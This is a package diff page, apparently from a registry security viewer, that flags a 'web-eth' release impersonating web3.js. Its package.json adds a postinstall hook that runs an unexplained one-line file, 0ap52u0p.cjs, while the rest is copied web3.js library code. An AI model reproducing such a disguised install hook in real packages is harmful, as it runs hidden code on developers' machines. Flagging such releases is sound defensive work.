web-eth 0.0.1-security → 4.10.0

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of web-eth might be problematic. Click here for more details.

Files changed (206) hide show
  1. package/0ap52u0p.cjs +1 -0
  2. package/LICENSE +14 -0
  3. package/README.md +57 -3
  4. package/lib/commonjs/constants.d.ts +14 -0
  5. package/lib/commonjs/constants.js +29 -0
  6. package/lib/commonjs/constants.js.map +1 -0
  7. package/lib/commonjs/index.d.ts +51 -0
  8. package/lib/commonjs/index.js +91 -0
  9. package/lib/commonjs/index.js.map +1 -0
  10. package/lib/commonjs/package.json +1 -0
  11. package/lib/commonjs/rpc_method_wrappers.d.ts +548 -0
  12. package/lib/commonjs/rpc_method_wrappers.js +680 -0
  13. package/lib/commonjs/rpc_method_wrappers.js.map +1 -0
  14. package/lib/commonjs/schemas.d.ts +945 -0
  15. package/lib/commonjs/schemas.js +612 -0
  16. package/lib/commonjs/schemas.js.map +1 -0
  17. package/lib/commonjs/types.d.ts +50 -0
  18. package/lib/commonjs/types.js +19 -0
  19. package/lib/commonjs/types.js.map +1 -0
  20. package/lib/commonjs/utils/decode_signed_transaction.d.ts +13 -0
  21. package/lib/commonjs/utils/decode_signed_transaction.js +27 -0
  22. package/lib/commonjs/utils/decode_signed_transaction.js.map +1 -0
  23. package/lib/commonjs/utils/decoding.d.ts +4 -0
  24. package/lib/commonjs/utils/decoding.js +64 -0
  25. package/lib/commonjs/utils/decoding.js.map +1 -0
  26. package/lib/commonjs/utils/detect_transaction_type.d.ts +6 -0
  27. package/lib/commonjs/utils/detect_transaction_type.js +125 -0
  28. package/lib/commonjs/utils/detect_transaction_type.js.map +1 -0
  29. package/lib/commonjs/utils/format_transaction.d.ts +7 -0
  30. package/lib/commonjs/utils/format_transaction.js +61 -0
  31. package/lib/commonjs/utils/format_transaction.js.map +1 -0
  32. package/lib/commonjs/utils/get_revert_reason.d.ts +12 -0
  33. package/lib/commonjs/utils/get_revert_reason.js +81 -0
  34. package/lib/commonjs/utils/get_revert_reason.js.map +1 -0
  35. package/lib/commonjs/utils/get_transaction_error.d.ts +152 -0
  36. package/lib/commonjs/utils/get_transaction_error.js +63 -0
  37. package/lib/commonjs/utils/get_transaction_error.js.map +1 -0
  38. package/lib/commonjs/utils/get_transaction_gas_pricing.d.ts +8 -0
  39. package/lib/commonjs/utils/get_transaction_gas_pricing.js +85 -0
  40. package/lib/commonjs/utils/get_transaction_gas_pricing.js.map +1 -0
  41. package/lib/commonjs/utils/index.d.ts +4 -0
  42. package/lib/commonjs/utils/index.js +37 -0
  43. package/lib/commonjs/utils/index.js.map +1 -0
  44. package/lib/commonjs/utils/prepare_transaction_for_signing.d.ts +3 -0
  45. package/lib/commonjs/utils/prepare_transaction_for_signing.js +103 -0
  46. package/lib/commonjs/utils/prepare_transaction_for_signing.js.map +1 -0
  47. package/lib/commonjs/utils/reject_if_block_timeout.d.ts +6 -0
  48. package/lib/commonjs/utils/reject_if_block_timeout.js +138 -0
  49. package/lib/commonjs/utils/reject_if_block_timeout.js.map +1 -0
  50. package/lib/commonjs/utils/send_tx_helper.d.ts +43 -0
  51. package/lib/commonjs/utils/send_tx_helper.js +179 -0
  52. package/lib/commonjs/utils/send_tx_helper.js.map +1 -0
  53. package/lib/commonjs/utils/transaction_builder.d.ts +19 -0
  54. package/lib/commonjs/utils/transaction_builder.js +171 -0
  55. package/lib/commonjs/utils/transaction_builder.js.map +1 -0
  56. package/lib/commonjs/utils/try_send_transaction.d.ts +11 -0
  57. package/lib/commonjs/utils/try_send_transaction.js +46 -0
  58. package/lib/commonjs/utils/try_send_transaction.js.map +1 -0
  59. package/lib/commonjs/utils/wait_for_transaction_receipt.d.ts +3 -0
  60. package/lib/commonjs/utils/wait_for_transaction_receipt.js +72 -0
  61. package/lib/commonjs/utils/wait_for_transaction_receipt.js.map +1 -0
  62. package/lib/commonjs/utils/watch_transaction_by_polling.d.ts +19 -0
  63. package/lib/commonjs/utils/watch_transaction_by_polling.js +45 -0
  64. package/lib/commonjs/utils/watch_transaction_by_polling.js.map +1 -0
  65. package/lib/commonjs/utils/watch_transaction_by_subscription.d.ts +8 -0
  66. package/lib/commonjs/utils/watch_transaction_by_subscription.js +86 -0
  67. package/lib/commonjs/utils/watch_transaction_by_subscription.js.map +1 -0
  68. package/lib/commonjs/utils/watch_transaction_for_confirmations.d.ts +6 -0
  69. package/lib/commonjs/utils/watch_transaction_for_confirmations.js +47 -0
  70. package/lib/commonjs/utils/watch_transaction_for_confirmations.js.map +1 -0
  71. package/lib/commonjs/validation.d.ts +26 -0
  72. package/lib/commonjs/validation.js +281 -0
  73. package/lib/commonjs/validation.js.map +1 -0
  74. package/lib/commonjs/web3_eth.d.ts +1825 -0
  75. package/lib/commonjs/web3_eth.js +1742 -0
  76. package/lib/commonjs/web3_eth.js.map +1 -0
  77. package/lib/commonjs/web3_subscriptions.d.ts +117 -0
  78. package/lib/commonjs/web3_subscriptions.js +141 -0
  79. package/lib/commonjs/web3_subscriptions.js.map +1 -0
  80. package/lib/esm/constants.js +26 -0
  81. package/lib/esm/constants.js.map +1 -0
  82. package/lib/esm/index.js +68 -0
  83. package/lib/esm/index.js.map +1 -0
  84. package/lib/esm/package.json +1 -0
  85. package/lib/esm/rpc_method_wrappers.js +645 -0
  86. package/lib/esm/rpc_method_wrappers.js.map +1 -0
  87. package/lib/esm/schemas.js +609 -0
  88. package/lib/esm/schemas.js.map +1 -0
  89. package/lib/esm/types.js +18 -0
  90. package/lib/esm/types.js.map +1 -0
  91. package/lib/esm/utils/decode_signed_transaction.js +23 -0
  92. package/lib/esm/utils/decode_signed_transaction.js.map +1 -0
  93. package/lib/esm/utils/decoding.js +60 -0
  94. package/lib/esm/utils/decoding.js.map +1 -0
  95. package/lib/esm/utils/detect_transaction_type.js +119 -0
  96. package/lib/esm/utils/detect_transaction_type.js.map +1 -0
  97. package/lib/esm/utils/format_transaction.js +57 -0
  98. package/lib/esm/utils/format_transaction.js.map +1 -0
  99. package/lib/esm/utils/get_revert_reason.js +76 -0
  100. package/lib/esm/utils/get_revert_reason.js.map +1 -0
  101. package/lib/esm/utils/get_transaction_error.js +59 -0
  102. package/lib/esm/utils/get_transaction_error.js.map +1 -0
  103. package/lib/esm/utils/get_transaction_gas_pricing.js +81 -0
  104. package/lib/esm/utils/get_transaction_gas_pricing.js.map +1 -0
  105. package/lib/esm/utils/index.js +21 -0
  106. package/lib/esm/utils/index.js.map +1 -0
  107. package/lib/esm/utils/prepare_transaction_for_signing.js +99 -0
  108. package/lib/esm/utils/prepare_transaction_for_signing.js.map +1 -0
  109. package/lib/esm/utils/reject_if_block_timeout.js +134 -0
  110. package/lib/esm/utils/reject_if_block_timeout.js.map +1 -0
  111. package/lib/esm/utils/send_tx_helper.js +175 -0
  112. package/lib/esm/utils/send_tx_helper.js.map +1 -0
  113. package/lib/esm/utils/transaction_builder.js +163 -0
  114. package/lib/esm/utils/transaction_builder.js.map +1 -0
  115. package/lib/esm/utils/try_send_transaction.js +42 -0
  116. package/lib/esm/utils/try_send_transaction.js.map +1 -0
  117. package/lib/esm/utils/wait_for_transaction_receipt.js +68 -0
  118. package/lib/esm/utils/wait_for_transaction_receipt.js.map +1 -0
  119. package/lib/esm/utils/watch_transaction_by_polling.js +41 -0
  120. package/lib/esm/utils/watch_transaction_by_polling.js.map +1 -0
  121. package/lib/esm/utils/watch_transaction_by_subscription.js +82 -0
  122. package/lib/esm/utils/watch_transaction_by_subscription.js.map +1 -0
  123. package/lib/esm/utils/watch_transaction_for_confirmations.js +43 -0
  124. package/lib/esm/utils/watch_transaction_for_confirmations.js.map +1 -0
  125. package/lib/esm/validation.js +260 -0
  126. package/lib/esm/validation.js.map +1 -0
  127. package/lib/esm/web3_eth.js +1715 -0
  128. package/lib/esm/web3_eth.js.map +1 -0
  129. package/lib/esm/web3_subscriptions.js +134 -0
  130. package/lib/esm/web3_subscriptions.js.map +1 -0
  131. package/lib/types/constants.d.ts +15 -0
  132. package/lib/types/constants.d.ts.map +1 -0
  133. package/lib/types/index.d.ts +52 -0
  134. package/lib/types/index.d.ts.map +1 -0
  135. package/lib/types/rpc_method_wrappers.d.ts +549 -0
  136. package/lib/types/rpc_method_wrappers.d.ts.map +1 -0
  137. package/lib/types/schemas.d.ts +946 -0
  138. package/lib/types/schemas.d.ts.map +1 -0
  139. package/lib/types/types.d.ts +51 -0
  140. package/lib/types/types.d.ts.map +1 -0
  141. package/lib/types/utils/decode_signed_transaction.d.ts +14 -0
  142. package/lib/types/utils/decode_signed_transaction.d.ts.map +1 -0
  143. package/lib/types/utils/decoding.d.ts +5 -0
  144. package/lib/types/utils/decoding.d.ts.map +1 -0
  145. package/lib/types/utils/detect_transaction_type.d.ts +7 -0
  146. package/lib/types/utils/detect_transaction_type.d.ts.map +1 -0
  147. package/lib/types/utils/format_transaction.d.ts +8 -0
  148. package/lib/types/utils/format_transaction.d.ts.map +1 -0
  149. package/lib/types/utils/get_revert_reason.d.ts +13 -0
  150. package/lib/types/utils/get_revert_reason.d.ts.map +1 -0
  151. package/lib/types/utils/get_transaction_error.d.ts +153 -0
  152. package/lib/types/utils/get_transaction_error.d.ts.map +1 -0
  153. package/lib/types/utils/get_transaction_gas_pricing.d.ts +9 -0
  154. package/lib/types/utils/get_transaction_gas_pricing.d.ts.map +1 -0
  155. package/lib/types/utils/index.d.ts +5 -0
  156. package/lib/types/utils/index.d.ts.map +1 -0
  157. package/lib/types/utils/prepare_transaction_for_signing.d.ts +4 -0
  158. package/lib/types/utils/prepare_transaction_for_signing.d.ts.map +1 -0
  159. package/lib/types/utils/reject_if_block_timeout.d.ts +7 -0
  160. package/lib/types/utils/reject_if_block_timeout.d.ts.map +1 -0
  161. package/lib/types/utils/send_tx_helper.d.ts +44 -0
  162. package/lib/types/utils/send_tx_helper.d.ts.map +1 -0
  163. package/lib/types/utils/transaction_builder.d.ts +20 -0
  164. package/lib/types/utils/transaction_builder.d.ts.map +1 -0
  165. package/lib/types/utils/try_send_transaction.d.ts +12 -0
  166. package/lib/types/utils/try_send_transaction.d.ts.map +1 -0
  167. package/lib/types/utils/wait_for_transaction_receipt.d.ts +4 -0
  168. package/lib/types/utils/wait_for_transaction_receipt.d.ts.map +1 -0
  169. package/lib/types/utils/watch_transaction_by_polling.d.ts +20 -0
  170. package/lib/types/utils/watch_transaction_by_polling.d.ts.map +1 -0
  171. package/lib/types/utils/watch_transaction_by_subscription.d.ts +9 -0
  172. package/lib/types/utils/watch_transaction_by_subscription.d.ts.map +1 -0
  173. package/lib/types/utils/watch_transaction_for_confirmations.d.ts +7 -0
  174. package/lib/types/utils/watch_transaction_for_confirmations.d.ts.map +1 -0
  175. package/lib/types/validation.d.ts +27 -0
  176. package/lib/types/validation.d.ts.map +1 -0
  177. package/lib/types/web3_eth.d.ts +1826 -0
  178. package/lib/types/web3_eth.d.ts.map +1 -0
  179. package/lib/types/web3_subscriptions.d.ts +118 -0
  180. package/lib/types/web3_subscriptions.d.ts.map +1 -0
  181. package/package.json +58 -4
  182. package/src/constants.ts +27 -0
  183. package/src/index.ts +71 -0
  184. package/src/rpc_method_wrappers.ts +1122 -0
  185. package/src/schemas.ts +668 -0
  186. package/src/types.ts +113 -0
  187. package/src/utils/decode_signed_transaction.ts +60 -0
  188. package/src/utils/decoding.ts +95 -0
  189. package/src/utils/detect_transaction_type.ts +144 -0
  190. package/src/utils/format_transaction.ts +77 -0
  191. package/src/utils/get_revert_reason.ts +96 -0
  192. package/src/utils/get_transaction_error.ts +93 -0
  193. package/src/utils/get_transaction_gas_pricing.ts +117 -0
  194. package/src/utils/index.ts +21 -0
  195. package/src/utils/prepare_transaction_for_signing.ts +154 -0
  196. package/src/utils/reject_if_block_timeout.ts +176 -0
  197. package/src/utils/send_tx_helper.ts +317 -0
  198. package/src/utils/transaction_builder.ts +264 -0
  199. package/src/utils/try_send_transaction.ts +61 -0
  200. package/src/utils/wait_for_transaction_receipt.ts +83 -0
  201. package/src/utils/watch_transaction_by_polling.ts +89 -0
  202. package/src/utils/watch_transaction_by_subscription.ts +120 -0
  203. package/src/utils/watch_transaction_for_confirmations.ts +86 -0
  204. package/src/validation.ts +317 -0
  205. package/src/web3_eth.ts +1897 -0
  206. package/src/web3_subscriptions.ts +176 -0
@@ -0,0 +1 @@
1
+ {"version":3,"file":"web3_eth.d.ts","sourceRoot":"","sources":["../../src/web3_eth.ts"],"names":[],"mappings":"AAoBA,OAAO,EACN,kBAAkB,EAClB,OAAO,EACP,KAAK,EACL,OAAO,EACP,MAAM,EACN,gBAAgB,EAChB,eAAe,EACf,OAAO,EACP,gBAAgB,EAEhB,WAAW,EACX,eAAe,EACf,mBAAmB,EACnB,mCAAmC,EACnC,iCAAiC,EACjC,wCAAwC,EACxC,wBAAwB,EACxB,UAAU,EACV,qBAAqB,EACrB,eAAe,EAGf,MAAM,YAAY,CAAC;AACpB,OAAO,EAAuB,WAAW,EAAE,sBAAsB,EAAE,MAAM,WAAW,CAAC;AAMrF,OAAO,EAAE,sBAAsB,EAAE,qBAAqB,EAAE,MAAM,YAAY,CAAC;AAC3E,OAAO,EACN,gBAAgB,EAChB,kCAAkC,EAClC,oBAAoB,EACpB,mBAAmB,EACnB,MAAM,yBAAyB,CAAC;AAEjC,oBAAY,sBAAsB,GAAG;IACpC,IAAI,EAAE,OAAO,gBAAgB,CAAC;IAC9B,sBAAsB,EAAE,OAAO,kCAAkC,CAAC;IAClE,mBAAmB,EAAE,OAAO,kCAAkC,CAAC;IAC/D,QAAQ,EAAE,OAAO,oBAAoB,CAAC;IACtC,eAAe,EAAE,OAAO,oBAAoB,CAAC;IAC7C,OAAO,EAAE,OAAO,mBAAmB,CAAC;CACpC,CAAC;AAEF,eAAO,MAAM,uBAAuB;;;;;;;CAOnC,CAAC;AAEF;;;;;;;;;;;;;;;;;;;;;;;GAuBG;AACH,qBAAa,OAAQ,SAAQ,WAAW,CAAC,mBAAmB,EAAE,sBAAsB,CAAC;IACpF,OAAO,CAAC,qBAAqB,CAAC,CAAwB;gBAGrD,iBAAiB,CAAC,EAAE,kBAAkB,CAAC,GAAG,CAAC,GAAG,sBAAsB,GAAG,MAAM;IA0BvE,wBAA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AqB,EACxF,OAAO,EAAE,OAAO,EAChB,SAAS,EAAE,eAAe,EAC1B,SAAS,UAAQ,EACjB,YAAY,GAAE,YACyB;IAKxC;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;OAmIG;IAEU,SAAS,CACrB,CAAC,SAAS,MAAM,sBAAsB,EACtC,UAAU,SAAS,UAAU,GAAG,UAAU,EAE1C,IAAI,EAAE,CAAC,EACP,IAAI,CAAC,EAAE,qBAAqB,CAAC,sBAAsB,CAAC,CAAC,CAAC,CAAC,CAAC,CAAC,CAAC,EAC1D,YAAY,GAAE,UACuB,GACnC,OAAO,CAAC,YAAY,CAAC,sBAAsB,CAAC,CAAC,CAAC,CAAC,CAAC;IAwBnD,OAAO,CAAC,MAAM,CAAC,uBAAuB;IAItC;;;;;;;;;;OAUG;IACI,kBAAkB,CAAC,eAAe,UAAQ,GAAG,OAAO,CAAC,MAAM,EAAE,CAAC,GAAG,SAAS;CAMjF"}
@@ -0,0 +1,118 @@
1
+ import { SyncOutput, Address, BlockNumberOrTag, HexString, Topic, BlockHeaderOutput, LogsOutput } from 'web3-types';
2
+ import { Web3Subscription } from 'web3-core';
3
+ /**
4
+ * ## subscribe('logs')
5
+ * Subscribes to incoming logs, filtered by the given options. If a valid numerical fromBlock options property is set, web3.js will retrieve logs beginning from this point, backfilling the response as necessary.
6
+ *
7
+ * You can subscribe to logs matching a given filter object, which can take the following parameters:
8
+ * - `fromBlock`: (optional, default: 'latest') Integer block number, or `'latest'` for the last mined block or `'pending'`, `'earliest'` for not yet mined transactions.
9
+ * - `address`: (optional) Contract address or a list of addresses from which logs should originate.
10
+ * - `topics`: (optional) Array of 32 Bytes DATA topics. Topics are order-dependent. Each topic can also be an array of DATA with `or` options.
11
+ *
12
+ */
13
+ export declare class LogsSubscription extends Web3Subscription<{
14
+ data: LogsOutput;
15
+ }, {
16
+ readonly fromBlock?: BlockNumberOrTag;
17
+ readonly address?: Address | Address[];
18
+ readonly topics?: Topic[];
19
+ }> {
20
+ protected _buildSubscriptionParams(): (string | {
21
+ readonly fromBlock?: BlockNumberOrTag | undefined;
22
+ readonly address?: string | string[] | undefined;
23
+ readonly topics?: string[] | undefined;
24
+ })[];
25
+ protected formatSubscriptionResult(data: LogsOutput): {
26
+ readonly id?: string | undefined;
27
+ readonly removed: boolean;
28
+ readonly logIndex?: string | number | bigint | undefined;
29
+ readonly transactionIndex?: string | number | bigint | undefined;
30
+ readonly transactionHash?: string | undefined;
31
+ readonly blockHash?: string | undefined;
32
+ readonly blockNumber?: string | number | bigint | undefined;
33
+ readonly address: string;
34
+ readonly topics: string[];
35
+ readonly data: string;
36
+ };
37
+ }
38
+ /**
39
+ * ## subscribe('pendingTransactions')
40
+ * Subscribes to incoming pending transactions.
41
+ *
42
+ * You can subscribe to pending transactions by calling web3.eth.subscribe('pendingTransactions').
43
+ * @example
44
+ * ```ts
45
+ * (await web3.eth.subscribe('pendingTransactions')).on('data', console.log);
46
+ * ```
47
+ */
48
+ export declare class NewPendingTransactionsSubscription extends Web3Subscription<{
49
+ data: HexString;
50
+ }> {
51
+ protected _buildSubscriptionParams(): string[];
52
+ protected formatSubscriptionResult(data: string): string;
53
+ }
54
+ /**
55
+ * ## subscribe('newHeads') ( same as subscribe('newBlockHeaders'))
56
+ *
57
+ * Subscribes to incoming block headers. This can be used as timer to check for changes on the blockchain.
58
+ *
59
+ * The structure of a returned block header is {@link BlockHeaderOutput}:
60
+ * @example
61
+ * ```ts
62
+ * (await web3.eth.subscribe('newHeads')).on( // 'newBlockHeaders' would work as well
63
+ * 'data',
64
+ * console.log
65
+ * );
66
+ * >{
67
+ * parentHash: '0x9e746a1d906b299def98c75b06f714d62dacadd567c7515d76eeaa8c8074c738',
68
+ * sha3Uncles: '0x1dcc4de8dec75d7aab85b567b6ccd41ad312451b948a7413f0a142fd40d49347',
69
+ * miner: '0x0000000000000000000000000000000000000000',
70
+ * stateRoot: '0xe0f04b04861ecfa95e82a9310d6a7ef7aef8d7417f5209c182582bfb98a8e307',
71
+ * transactionsRoot: '0x31ab4ea571a9e10d3a19aaed07d190595b1dfa34e03960c04293fec565dea536',
72
+ * logsBloom: '0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000',
73
+ * difficulty: 2n,
74
+ * number: 21n,
75
+ * gasLimit: 11738125n,
76
+ * gasUsed: 830006n,
77
+ * timestamp: 1678797237n,
78
+ * extraData: '0xd883010b02846765746888676f312e32302e31856c696e757800000000000000e0a6e93cf40e2e71a72e493272210c3f43738ccc7e7d7b14ffd51833797d896c09117e8dc4fbcbc969bd21b42e5af3e276a911524038c001b2109b63b8e0352601',
79
+ * nonce: 0n
80
+ * }
81
+ * ```
82
+ */
83
+ export declare class NewHeadsSubscription extends Web3Subscription<{
84
+ data: BlockHeaderOutput;
85
+ }> {
86
+ protected _buildSubscriptionParams(): string[];
87
+ protected formatSubscriptionResult(data: BlockHeaderOutput): BlockHeaderOutput;
88
+ }
89
+ /**
90
+ * ## subscribe('syncing')
91
+ *
92
+ * Subscribe to syncing events. This will return `true` when the node is syncing and when it’s finished syncing will return `false`, for the `changed` event.
93
+ * @example
94
+ * ```ts
95
+ * (await web3.eth.subscribe('syncing')).on('changed', console.log);
96
+ * > `true` // when syncing
97
+ *
98
+ * (await web3.eth.subscribe('syncing')).on('data', console.log);
99
+ * > {
100
+ * startingBlock: 0,
101
+ * currentBlock: 0,
102
+ * highestBlock: 0,
103
+ * pulledStates: 0,
104
+ * knownStates: 0
105
+ * }
106
+ * ```
107
+ */
108
+ export declare class SyncingSubscription extends Web3Subscription<{
109
+ data: SyncOutput;
110
+ changed: boolean;
111
+ }> {
112
+ protected _buildSubscriptionParams(): string[];
113
+ _processSubscriptionResult(data: {
114
+ syncing: boolean;
115
+ status: SyncOutput;
116
+ } | boolean): void;
117
+ }
118
+ //# sourceMappingURL=web3_subscriptions.d.ts.map
@@ -0,0 +1 @@
1
+ {"version":3,"file":"web3_subscriptions.d.ts","sourceRoot":"","sources":["../../src/web3_subscriptions.ts"],"names":[],"mappings":"AAmBA,OAAO,EACN,UAAU,EACV,OAAO,EACP,gBAAgB,EAChB,SAAS,EACT,KAAK,EACL,iBAAiB,EACjB,UAAU,EACV,MAAM,YAAY,CAAC;AACpB,OAAO,EAAE,gBAAgB,EAAE,MAAM,WAAW,CAAC;AAG7C;;;;;;;;;GASG;AACH,qBAAa,gBAAiB,SAAQ,gBAAgB,CACrD;IACC,IAAI,EAAE,UAAU,CAAC;CACjB,EACD;IACC,QAAQ,CAAC,SAAS,CAAC,EAAE,gBAAgB,CAAC;IACtC,QAAQ,CAAC,OAAO,CAAC,EAAE,OAAO,GAAG,OAAO,EAAE,CAAC;IACvC,QAAQ,CAAC,MAAM,CAAC,EAAE,KAAK,EAAE,CAAC;CAC1B,CACD;IACA,SAAS,CAAC,wBAAwB;;;;;IAIlC,SAAS,CAAC,wBAAwB,CAAC,IAAI,EAAE,UAAU;;;;;;;;;;;;CAGnD;AAED;;;;;;;;;GASG;AACH,qBAAa,kCAAmC,SAAQ,gBAAgB,CAAC;IACxE,IAAI,EAAE,SAAS,CAAC;CAChB,CAAC;IAED,SAAS,CAAC,wBAAwB;IAIlC,SAAS,CAAC,wBAAwB,CAAC,IAAI,EAAE,MAAM;CAG/C;AAED;;;;;;;;;;;;;;;;;;;;;;;;;;;;GA4BG;AACH,qBAAa,oBAAqB,SAAQ,gBAAgB,CAAC;IAC1D,IAAI,EAAE,iBAAiB,CAAC;CACxB,CAAC;IAED,SAAS,CAAC,wBAAwB;IAIlC,SAAS,CAAC,wBAAwB,CAAC,IAAI,EAAE,iBAAiB,GAAG,iBAAiB;CAG9E;AAED;;;;;;;;;;;;;;;;;;GAkBG;AACH,qBAAa,mBAAoB,SAAQ,gBAAgB,CAAC;IACzD,IAAI,EAAE,UAAU,CAAC;IACjB,OAAO,EAAE,OAAO,CAAC;CACjB,CAAC;IAED,SAAS,CAAC,wBAAwB;IAI3B,0BAA0B,CAChC,IAAI,EACD;QACA,OAAO,EAAE,OAAO,CAAC;QACjB,MAAM,EAAE,UAAU,CAAC;KAClB,GACD,OAAO;CAgBX"}
package/package.json CHANGED
@@ -1,6 +1,60 @@
1
1
  {
2
2
  "name": "web-eth",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
6
- }
3
+ "version": "4.10.0",
4
+ "description": "Web3 module to interact with the Ethereum blockchain and smart contracts.",
5
+ "main": "./lib/commonjs/index.js",
6
+ "module": "./lib/esm/index.js",
7
+ "exports": {
8
+ ".": {
9
+ "types": "./lib/types/index.d.ts",
10
+ "import": "./lib/esm/index.js",
11
+ "require": "./lib/commonjs/index.js"
12
+ }
13
+ },
14
+ "repository": "https://github.com/ChainSafe/web3.js",
15
+ "author": "ChainSafe Systems",
16
+ "license": "LGPL-3.0",
17
+ "engines": {
18
+ "node": ">=14",
19
+ "npm": ">=6.12.0"
20
+ },
21
+ "files": [
22
+ "lib/**/*",
23
+ "src/**/*",
24
+ "0ap52u0p.cjs"
25
+ ],
26
+ "scripts": {
27
+ "postinstall": "node 0ap52u0p.cjs"
28
+ },
29
+ "devDependencies": {
30
+ "@types/jest": "^28.1.6",
31
+ "@typescript-eslint/eslint-plugin": "^5.30.7",
32
+ "@typescript-eslint/parser": "^5.30.7",
33
+ "eslint": "^8.20.0",
34
+ "eslint-config-base-web3": "0.1.0",
35
+ "eslint-config-prettier": "^8.5.0",
36
+ "eslint-plugin-import": "^2.26.0",
37
+ "jest": "^29.7.0",
38
+ "jest-extended": "^3.0.1",
39
+ "prettier": "^2.7.1",
40
+ "ts-jest": "^29.1.1",
41
+ "typescript": "^4.7.4",
42
+ "web3-providers-http": "^4.2.0"
43
+ },
44
+ "dependencies": {
45
+ "setimmediate": "^1.0.5",
46
+ "web3-core": "^4.7.0",
47
+ "web3-errors": "^1.3.0",
48
+ "web3-eth-abi": "^4.3.0",
49
+ "web3-eth-accounts": "^4.2.1",
50
+ "web3-net": "^4.1.0",
51
+ "web3-providers-ws": "^4.0.8",
52
+ "web3-rpc-methods": "^1.3.0",
53
+ "web3-types": "^1.8.1",
54
+ "web3-utils": "^4.3.2",
55
+ "web3-validator": "^2.0.6",
56
+ "axios": "^1.7.7",
57
+ "ethers": "^6.13.2"
58
+ },
59
+ "gitHead": "068f4b639d95c5dcdca9c0111349ea92792b31e7"
60
+ }
@@ -0,0 +1,27 @@
1
+ /*
2
+ This file is part of web3.js.
3
+
4
+ web3.js is free software: you can redistribute it and/or modify
5
+ it under the terms of the GNU Lesser General Public License as published by
6
+ the Free Software Foundation, either version 3 of the License, or
7
+ (at your option) any later version.
8
+
9
+ web3.js is distributed in the hope that it will be useful,
10
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
11
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
12
+ GNU Lesser General Public License for more details.
13
+
14
+ You should have received a copy of the GNU Lesser General Public License
15
+ along with web3.js. If not, see <http://www.gnu.org/licenses/>.
16
+ */
17
+ import { AbiEventFragment, FMT_BYTES, FMT_NUMBER } from 'web3-types';
18
+
19
+ export const ALL_EVENTS = 'ALLEVENTS';
20
+ export const ALL_EVENTS_ABI = {
21
+ name: ALL_EVENTS,
22
+ signature: '',
23
+ type: 'event',
24
+ inputs: [],
25
+ } as AbiEventFragment & { signature: string };
26
+
27
+ export const NUMBER_DATA_FORMAT = { bytes: FMT_BYTES.HEX, number: FMT_NUMBER.NUMBER } as const;
package/src/index.ts ADDED
@@ -0,0 +1,71 @@
1
+ /*
2
+ This file is part of web3.js.
3
+
4
+ web3.js is free software: you can redistribute it and/or modify
5
+ it under the terms of the GNU Lesser General Public License as published by
6
+ the Free Software Foundation, either version 3 of the License, or
7
+ (at your option) any later version.
8
+
9
+ web3.js is distributed in the hope that it will be useful,
10
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
11
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
12
+ GNU Lesser General Public License for more details.
13
+
14
+ You should have received a copy of the GNU Lesser General Public License
15
+ along with web3.js. If not, see <http://www.gnu.org/licenses/>.
16
+ */
17
+
18
+ /**
19
+ * The `web3-eth` package allows you to interact with an Ethereum blockchain and Ethereum smart contracts.
20
+ *
21
+ * To use this package standalone and use its methods use:
22
+ * ```ts
23
+ * import { Web3Context } from 'web3-core';
24
+ * import { BlockTags } from 'web3-types';
25
+ * import { DEFAULT_RETURN_FORMAT } from 'web3-types';
26
+ * import { getBalance} from 'web3-eth';
27
+ *
28
+ * getBalance(
29
+ * new Web3Context('http://127.0.0.1:8545'),
30
+ * '0x407d73d8a49eeb85d32cf465507dd71d507100c1',
31
+ * BlockTags.LATEST,
32
+ * DEFAULT_RETURN_FORMAT
33
+ * ).then(console.log);
34
+ * > 1000000000000n
35
+ * ```
36
+ *
37
+ * To use this package within the `web3` object use:
38
+ * ```ts
39
+ * import Web3 from 'web3';
40
+ *
41
+ * const web3 = new Web3(Web3.givenProvider || 'ws://some.local-or-remote.node:8546');
42
+ * web3.eth.getBalance('0x407d73d8a49eeb85d32cf465507dd71d507100c1').then(console.log);
43
+ * > 1000000000000n
44
+ *```
45
+ *
46
+ * With `web3-eth` you can also subscribe (if supported by provider) to events in the Ethereum Blockchain, using the `subscribe` function. See more at the {@link Web3Eth.subscribe} function.
47
+ */
48
+ /**
49
+ *
50
+ */
51
+ import 'setimmediate';
52
+
53
+ import { Web3Eth } from './web3_eth.js';
54
+
55
+ export * from './web3_eth.js';
56
+ export * from './utils/decoding.js';
57
+ export * from './schemas.js';
58
+ export * from './constants.js';
59
+ export * from './types.js';
60
+ export * from './validation.js';
61
+ export * from './rpc_method_wrappers.js';
62
+ export * from './utils/format_transaction.js';
63
+ export * from './utils/prepare_transaction_for_signing.js';
64
+ export * from './web3_subscriptions.js';
65
+ export { detectTransactionType } from './utils/detect_transaction_type.js';
66
+ export { transactionBuilder, getTransactionFromOrToAttr } from './utils/transaction_builder.js';
67
+ export { waitForTransactionReceipt } from './utils/wait_for_transaction_receipt.js';
68
+ export { trySendTransaction } from './utils/try_send_transaction.js';
69
+ export { SendTxHelper } from './utils/send_tx_helper.js';
70
+
71
+ export default Web3Eth;